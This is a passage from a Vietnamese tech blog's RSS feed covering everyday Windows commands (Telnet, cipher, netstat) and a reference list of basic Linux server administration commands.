<p><strong><img decoding="async" title="Lệnh Sfc /Scannow" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-8.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="595" height="191" /><br />
</strong></p>
<h2>Telnet: Kết nối với Telnet Servers</h2>
<p><strong>Telnet Client</strong> không được cài đặt mặc định nên bạn sẽ phải cài đặt nó từ trong Control Panel. Sau khi cài đặt, bạn có thể sử dụng lệnh Telnet để kết nối với các Telnet Server mà không cần cài đặt bất kỳ phần mềm nào của bên thứ ba. Tuy rằng chúng ta nên tránh sử dụng Telnet, nhưng nếu bạn đang kết nối trực tiếp với một thiết bị và nó yêu cầu bạn sử dụng Telnet để thiết lập một điều gì đó thì là vẫn phải thực hiện bình thường.</p>
<p><strong><img decoding="async" title="Telnet Client" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-9.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="640" height="492" /></strong></p>
<h2>Cipher: Xóa dữ liệu vĩnh viễn</h2>
<p><strong>Lệnh Cipher</strong> chủ yếu được sử dụng cho việc <strong>quản lý mã hóa,</strong> nhưng nó cũng có một tùy chọn khác là cho phép bạn xóa vĩnh viễn tệp tin và đảm bảo không thể phục hồi được. Lệnh này rất có hiệu quả trong quá trình quét sạch một ổ đĩa mà không cần cài đặt bất cứ một công cụ nào khác.</p>
<p>Để sử dụng <strong>lệnh Cipher,</strong> bạn chỉ cần chỉ định một ổ đĩa hoặc một thư mục cụ thể chẳng hạn như: <strong>cipher /w:c:</strong> hoặc<strong> cipher /w:c:\&#8230;</strong></p>
<p><strong><img decoding="async" title="Lệnh Cipher" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-10.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="640" height="154" /><br />
</strong></p>
<h2>Netstat –an: Liệt kê các kết nối mạng và cổng</h2>
<p><strong>Lệnh Netstat</strong> là đặc biệt hữu ích, nó sẽ hiển thị tất cả các số liệu thống kê mạng khi được sử dụng với các tùy chọn khác nhau. Một trong những biến thể thú vị nhất của Netstat chính là <strong>Netstat –an,</strong> trong đó sẽ hiển thị một danh sách tất cả các kết nối mạng đang mở trên máy tính cùng với các cổng đang sử dụng và địa chỉ IP đã kết nối.</p>
<p><strong><img decoding="async" title="Lệnh Netstat –an" src="http://quantrimang.com/photos/image/082013/08/Lenh-Windows-11.jpg" alt="10 lệnh hữu ích trong Windows bạn nên biết" width="640" height="381" /></strong></p>
</div>
<p>&nbsp;</p>
<div class="author-info clearfix"><span class="date"> </span></div>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/10-lenh-huu-ich-trong-windows-ban-nen-biet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Các lệnh cơ bản dành cho VPS và Máy chủ Linux</title>
		<link>https://anonyviet.com/411-2/</link>
					<comments>https://anonyviet.com/411-2/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Wed, 09 Dec 2015 14:55:26 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://anonyviet.com/?p=411</guid>

					<description><![CDATA[Để giúp các bạn có thể quản lý vps và máy chủ linux hiệu qua hơn , hôm nay mình xin hướng dẫn một số câu lệnh cơ bản để quản trị máy chủ. ​ Các lệnh cơ bản dành cho VPS và Máy chủ Linux 1. Lệnh liên quan đến hệ thống exit: thoát [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><span style="color: #008000;"><strong>Để giúp các bạn có thể quản lý vps và máy chủ linux hiệu qua hơn , hôm nay mình xin hướng dẫn một số câu lệnh cơ bản để quản trị máy chủ.</strong></span></p>
<div><span style="color: #008000;"><strong><img decoding="async" class="bbCodeImage LbImage" src="http://tocdoviet.vn/uploads/tai-lieu/2013_07/linux-ssh.jpg" alt="[​IMG]" data-url="http://tocdoviet.vn/uploads/tai-lieu/2013_07/linux-ssh.jpg" title="Các lệnh cơ bản dành cho VPS và Máy chủ Linux 26"> ​</strong></span></div>
<p><span style="color: #008000;"><i>Các lệnh cơ bản dành cho VPS và Máy chủ Linux</i></span></p>
<p><span style="color: #008000;"><span id="more-411"></span></span></p>
<p><span style="color: #008000;"><b>1. Lệnh liên quan đến hệ thống </b></span></p>
<p><span style="color: #008000;"><i>exit</i>: thoát khỏi cửa sổ dòng lệnh.</span><br />
<span style="color: #008000;"> <i>logout</i>: tương tự exit.</span><br />
<span style="color: #008000;"> <i>reboot</i>: khởi động lại hệ thống.</span><br />
<span style="color: #008000;"> <i>halt</i>: tắt máy.</span><br />
<span style="color: #008000;"> <i>startx</i>: khởi động chế độ xwindows từ cửa sổ terminal.</span><br />
<span style="color: #008000;"> <i>mount</i>: gắn hệ thống tập tin từ một thiết bị lưu trữ vào cây thư mục chính.</span><br />
<span style="color: #008000;"> <i>unmount</i>: ngược với lệnh mount.</span><br />
<span style="color: #008000;"> <i>/usr/bin/system-config-securitylevel-tui</i>: Cấu hình tường lửa và SELinux</span></p>
<p><span style="color: #008000;"><b>2. Lệnh xem thông tin</b></span></p>
<p><span style="color: #008000;"><i>cat /proc/cpuinfo</i>: Tìm chi tiết kỹ thuật của CPU</span><br />
<span style="color: #008000;"> <i>cat /proc/meminfo</i>: Bộ nhớ và trang đổi thông tin</span><br />
<span style="color: #008000;"> <i>lspci</i>: Xem thông tin mainboard</span><br />
<span style="color: #008000;"> <i>uname -r</i>: Xem hạt nhân phiên bản</span><br />
<span style="color: #008000;"> <i>gcc -v</i>: Compiler phiên bản nào tôi đã cài đặt.</span><br />
<span style="color: #008000;"> <i>/sbin/ifconfig</i>: Xem các địa chỉ IP của bạn.</span><br />
<span style="color: #008000;"> <i>netstat</i>: xem tất cả các kết nối.</span><br />
<span style="color: #008000;"> <i>lsmod</i>: Những gì được nạp module hạt nhân</span><br />
<span style="color: #008000;"> <i>last</i>: xem những ai đã login vào hệ thống</span><br />
<span style="color: #008000;"> <i>df</i>: Xem dung lượng ổ đĩa cứng</span><br />
<span style="color: #008000;"> <i>free -m</i>: xem dung lượng sử dụng bộ nhớ</span><br />
<span style="color: #008000;"> <i>netstat -an |grep :80 |wc -l</i>: xem có bao nhiêu kết nối đến cổng 80</span></p>
<p><span style="color: #008000;"><b>3. Lệnh thao tác trên tập tin</b></span></p>
<p><span style="color: #008000;"><i>ls</i>: lấy danh sách tất cả các file và thư mục trong thư mục hiện hành.</span><br />
<span style="color: #008000;"> <i>pwd</i>: xuất đường dẫn của thư mục làm việc.</span><br />
<span style="color: #008000;"> <i>cd</i>: thay đổi thư mục làm việc đến một thư mục mới.</span><br />
<span style="color: #008000;"> <i>mkdir</i>: tạo thư mục mới.</span><br />
<span style="color: #008000;"> <i>rmdir</i>: xoá thư mục rỗng.</span><br />
<span style="color: #008000;"> <i>cp</i>: copy một hay nhiều tập tin đến thư mục mới.</span><br />
<span style="color: #008000;"> <i>mv</i>: đổi tên hay di chuyển tập tin, thư mục.</span><br />
<span style="color: #008000;"> <i>rm</i>: xóa tập tin.</span><br />
<span style="color: #008000;"> <i>wc</i>: đếm số dòng, số kí tự&#8230; trong tập tin.</span><br />
<span style="color: #008000;"> <i>touch</i>: tạo một tập tin.</span><br />
<span style="color: #008000;"> <i>cat</i>: xem nội dung tập tin.</span><br />
<span style="color: #008000;"> <i>vi</i>: khởi động trình soạn thảo văn bản vi.</span><br />
<span style="color: #008000;"> <i>df</i>: kiểm tra dung lượng đĩa.</span><br />
<span style="color: #008000;"> <i>du</i>: xem dung lượng đĩa đã dùng cho một số tập tin nhất định</span><br />
<span style="color: #008000;"> <i>tar -cvzpf archive.tgz /home/example/public_html/folder</i>: nén một thư mục</span><br />
<span style="color: #008000;"> <i>tar -tzf backup.tar.gz</i>: liệt kê file nén gz</span><br />
<span style="color: #008000;"> <i>tar -xvf archive.tar</i>: giải nén một file tar</span><br />
<span style="color: #008000;"> <i>unzip file.zip</i>: giải nén file .zip</span><br />
<span style="color: #008000;"> <i>wget</i>: download một file.</span><br />
<span style="color: #008000;"> <i>chown user:user folder/ -R</i>: Đổi owner cho toàn bộ thư mục vào file.</span></p>
<p><span style="color: #008000;"><b>4. Lệnh khi làm việc trên terminal</b></span></p>
<p><span style="color: #008000;"><i>clear</i>: xoá trắng cửa sổ dòng lệnh.</span><br />
<span style="color: #008000;"> <i>date</i>: xem ngày, giờ hệ thống.</span><br />
<span style="color: #008000;"> <i>find /usr/share/zoneinfo/ | grep -i pst</i>: xem các múi giờ.</span><br />
<span style="color: #008000;"> <i>ln -f -s /usr/share/zoneinfo/Asia/Ho_Chi_Minh /etc/localtime</i>: Đổi múi giờ máy chủ về múi giờ Việt Nam</span><br />
<span style="color: #008000;"> <i>date -s &#8220;1 Oct 2009 18:00:00&#8221;</i>: Chỉnh giờ</span><br />
<span style="color: #008000;"> <i>cal</i>: xem lịch hệ thống.</span></p>
<p><span style="color: #008000;"><b>5. Lệnh quản lí hệ thống</b></span></p>
<p><span style="color: #008000;"><i>rpm</i>: kiểm tra gói đã cài đặt hay chưa, hoặc cài đặt một gói, hoặc sử dụng để gỡ bỏ một gói.</span><br />
<span style="color: #008000;"> <i>ps</i>: kiểm tra hệ thống tiến trình đang chạy.</span><br />
<span style="color: #008000;"> <i>kill</i>: dừng tiến trình khi tiến trình bị treo. Chỉ có người dùng super-user mới có thể dừng tất cả các tiến trình còn người dùng bình thường chỉ có thể dừng tiến trình mà mình tạo ra.</span><br />
<span style="color: #008000;"> <i>top</i>: hiển thị sự hoạt động của các tiến trình, đặc biệt là thông tin về tài nguyên hệ thống và việc sử dụng các tài nguyên đó của từng tiến trình.</span><br />
<span style="color: #008000;"> <i>pstree</i>: hiển thị tất cả các tiến trình dưới dạng cây.</span><br />
<span style="color: #008000;"> <i>sleep</i>: cho hệ thống ngừng hoạt động trong một khoảng thời gian.</span><br />
<span style="color: #008000;"> <i>useradd</i>: tạo một người dùng mới.</span><br />
<span style="color: #008000;"> <i>groupadd</i>: tạo một nhóm người dùng mới.</span><br />
<span style="color: #008000;"> <i>passwd</i>: thay đổi password cho người dùng.</span><br />
<span style="color: #008000;"> <i>userdel</i>: xoá người dùng đã tạo.</span><br />
<span style="color: #008000;"> <i>groupdel</i>: xoá nhóm người dùng đã tạo.</span><br />
<span style="color: #008000;"> <i>gpasswd</i>: thay đổi password của một nhóm người dùng.</span><br />
<span style="color: #008000;"> <i>su</i>: cho phép đăng nhập với tư cách người dùng khác.</span><br />
<span style="color: #008000;"> <i>groups</i>: hiển thị nhóm của user hiện tại.</span><br />
<span style="color: #008000;"> <i>who</i>: cho biết ai đang đăng nhập hệ thống.</span><br />
<span style="color: #008000;"> <i>w</i>: tương tự như lệnh who.</span><br />
<span style="color: #008000;"> <i>man</i>: xem hướng dẫn về dòng lệnh như cú pháp, các tham số&#8230;</span></p>
<p><span style="color: #008000;"><i><b>Lưu ý: hệ điều hành Linux phân biệt chữ hoa và chữ thường.</b></i></span></p>
<p><span style="color: #008000;">Thông tin sưu tầm</span></p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/411-2/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
